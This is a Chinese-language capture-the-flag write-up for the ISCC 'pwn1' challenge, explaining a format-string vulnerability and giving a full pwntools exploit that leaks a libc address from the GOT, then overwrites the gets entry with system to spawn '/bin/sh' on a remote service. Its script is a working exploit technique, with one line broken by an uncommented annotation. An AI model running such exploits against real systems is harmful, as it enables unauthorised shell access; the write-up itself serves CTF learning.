ISCC-二进制writeup

ISCC-二进制writeup

本次writeup随性而作,不按顺序来,先来一个pwn压压惊。

0x00 pwn1

本题是个比较明显的格式化字符串漏洞

本题需要的基础知识可以在这里找到。

我们要做的首先就是将地址泄露出来,通过测试会发现输入的内容在栈上的第6个位置,通过p32(add_gots)+%6$s可以将你想要泄漏的地址泄漏出来。

这里有一个小技巧就是在接收地址的时候会出现乱码,而u32()在长度大于4时不可以用,所以在接收内容前后都加了–将接收的字符串转化为int。

之后就是将/bin/sh写入getsgot中,同时将getsgot的地址覆盖为system的地址,详细说明在exp中。具体构造如下:

from pwn import *

#p = process('./pwn1')
#context.log_level = 'debug'
#LIBC = "/lib/i386-linux-gnu/libc.so.6"
p = remote('115.28.185.220',11111)
LIBC = "./libc32.so"

gets_got=0x0804a014
main_addr=0x80486DE
def pwn():
    #gdb.attach(p,'b *0x8048618')#80487E6')
    p.recvuntil('input$')
    p.sendline('1')
    p.recvuntil('name:\n')
    p.sendline(p32(gets_got)+'--%6$s--')
    p.recvuntil('--')
    data=p.recvuntil('--')[:-2]
    if len(data)>4:
        data=data[0:4]
    else:
        data=data.ljust(4,'\x00')
    print 'gets addr',hex(u32(data))

    gets_addr=u32(data)
    libc=ELF(LIBC)
    libc_base = gets_addr - libc.symbols['gets']
    system_addr = libc_base + libc.symbols['system']
    puts_addr = libc_base + libc.symbols['puts']
    print "system addr", hex(system_addr)

    offset=system_addr&0xffff #system的收两个字节
    offset2=(system_addr>>16)&0xff #system的倒数第三个字节
    fmt_str="/bin/sh;"+p32(gets_got+2)+p32(gets_got)  #("/bin/sh";XXXX)后面跟什么不影响执行提权
    stri="%%dc%8$hhn%%pc%9$hn" .replace('%d', str((offset2-16))).replace('%p',str(offset-offset2))  将gets的地址的后两个字节覆盖为system的后两个字节,在再次调用gets的时候,就执行system('/bin/sh')  (还有一部分自己的理解感觉不是很对,offset2-16是因为前面占了16个字节,offset-offset2是因为前面需要输入offset2长度的字符)
    fmt_str=fmt_str+stri
    print stri
    print fmt_str
    p.recvuntil('input$')
    p.sendline('1')
    p.recvuntil('name:\n')
    p.sendline(fmt_str)


    p.recvuntil('input$')
    p.sendline('1')
    p.recvuntil('name:\n')

    p.interactive()

if __name__ == '__main__':
   pwn()
文章目录
  1. 1. ISCC-二进制writeup
    1. 1.1. 0x00 pwn1
|